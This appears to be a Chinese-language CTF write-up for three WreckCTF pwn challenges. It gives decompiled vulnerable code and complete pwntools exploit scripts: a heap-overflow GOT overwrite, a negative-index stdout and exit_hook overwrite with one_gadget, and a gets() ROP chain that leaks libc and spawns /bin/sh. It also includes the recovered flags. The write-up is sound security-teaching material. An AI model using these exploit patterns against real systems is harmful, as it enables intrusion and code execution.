ptr = (void *)sub_401256(); // 0x48 next_ptr, data:0x40
if ( ptr )
{
read128(ptr); // 可以写128,溢出
puts("pushed!");
}
else
{
puts("failed to push");
}
break;
case 2:
ptra = (void *)sub_4012D7();
if ( ptra )
{
free(ptra);
puts("removed!");
}
else
{
puts("failed to pop");
}
break;
default:
LABEL_18:
puts("invalid choice");
exit(1);
}
return puts(&byte_4020DB);
}
解
from pwn import *
p = remote('challs.wreckctf.com', 31890)
#p = process('./pwn')
elf = ELF('./pwn')
context(arch='amd64', log_level = 'debug')
def push(msg):
p.sendlineafter(b"> ", b'1')
p.sendlineafter(b"> ", msg)
def pop():
p.sendlineafter(b"> ", b'2')
def edit(idx, msg):
p.sendlineafter(b"> ", b'3')
p.sendlineafter(b"> ", str(idx).encode())
p.sendlineafter(b"> ", msg)
def show(idx):
p.sendlineafter(b"> ", b'4')
p.sendlineafter(b"> ", str(idx).encode())
push(b'/bin/sh')
push(b'/bin/sh')
push(b'/bin/sh')
pop()
edit(0, b'A'*0x40+ flat(0x51, elf.got['free']))
show(2)
libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x84420 #0x80ed0
print(hex(libc_base))
system = libc_base + 0x52290 #0x50d60
edit(0, b'A'*0x40+ flat(0x51, elf.got['atoi']-8)) #
edit(2, p64(system))
p.sendlineafter(b'> ', b'/bin/sh')
p.interactive()
#flag{queues_are_better_than_stacks}
先固定生成4个块,然后只有写命令。但写的时候指针可以前越界,这样可以写到stdout在得到libc然后通过写-11处指向自己的指针,向exit_hook写one
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax
int i; // [rsp+8h] [rbp-18h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v6; // [rsp+18h] [rbp-8h]
v6 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
for ( i = 0; i <= 3; ++i )
{
notes[i] = malloc(0x100uLL);
if ( !notes[i] )
{
perror("malloc");
exit(1);
}
}
while ( 1 )
{
while ( 1 )
{
print_menu();
read(0, buf, 8uLL);
v3 = atoi(buf);
if ( v3 != 1 )
break;
write_note();
}
if ( v3 == 2 )
exit(0);
puts("invalid choice!");
}
}
unsigned __int64 write_note()
{
int v1; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("note index: ");
read(0, buf, 8uLL);
v1 = atoi(buf);
if ( v1 > 3 ) // 前越界
{
puts("invalid index!");
exit(1);
}
printf("note content: ");
read(0, (void *)notes[v1], 0x100uLL);
return __readfsqword(0x28u) ^ v3;
}
本地测试成功程序,这题最后有2大神解出。不知道什么方法。
from pwn import *
#p = remote('challs.wreckctf.com', 31857)
p = process('./pwn')
#patchelf --add-needed /home/shi/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so pwn
#patchelf --set-interpreter /home/shi/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so pwn
elf = ELF('./pwn')
libc_elf = ELF('/home/shi/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
ld_elf = ELF('/home/shi/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so')
context(arch='amd64', log_level = 'debug')
def edit(idx, msg):
p.sendlineafter(b"> ", b'1')
p.sendlineafter(b"note index: ", str(idx).encode())
p.sendafter(b"note content: ", msg)
#2.31 1ec980
#2.27 3ed8b0
edit(-8, p64(0xFBAD1800)+ p64(0)*3 + p8(0))
p.recv(8)
libc_base = u64(p.recv(8)) - 0x3ed8b0
libc_elf.address = libc_base
one = [0x4f2c5,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863,0x10a398,0x10a38c]
#local exit_hook one[2]
exit_hook = libc_base+0x619060+3848
edit(-8, p64(0xFBAD2887))
edit(-11, p64(exit_hook))
edit(-11, p64(libc_base + one[2])) #local 2
edit(1, b'aaa')
p.sendlineafter(b"> ", b'2')
p.interactive()
一句话程序不说了gets
int __cdecl main(int argc, const char **argv, const char **envp)
{
setbuf(_bss_start, 0LL);
puts("Welcome to Crosland Tower, what will you be studying today?");
gets();
puts("okay, good luck!");
return 0;
}
from pwn import *
p = remote('challs.wreckctf.com', 31789)
#p = process('./pwn')
elf = ELF('./pwn')
libc_elf = ELF('/home/shi/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
context(arch='amd64', log_level = 'debug')
pop_rdi = 0x0000000000401233 # pop rdi ; ret
pop_rsi = 0x0000000000401231 # pop rsi ; pop r15 ; ret
#gdb.attach(p, 'b*0x4011ba')
#pause()
pay = b'A'*64 + flat(0, pop_rdi, elf.got['puts'], elf.plt['puts'], elf.sym['_start'])
p.sendlineafter(b'?\n', pay)
p.recvline()
libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x84420 #0x80ed0 #
system = libc_base + 0x52290 #0x50d60 #
bin_sh = libc_base + 0x1b45bd #0x1d8698 #
print(hex(libc_base))
pay = b'A'*64 + flat(0, pop_rdi+1, pop_rdi, bin_sh, system, elf.sym['_start'])
p.sendlineafter(b'?\n', pay)
p.interactive()
#flag{9ea9ae5235772a7e9c4d28bb92ac206c}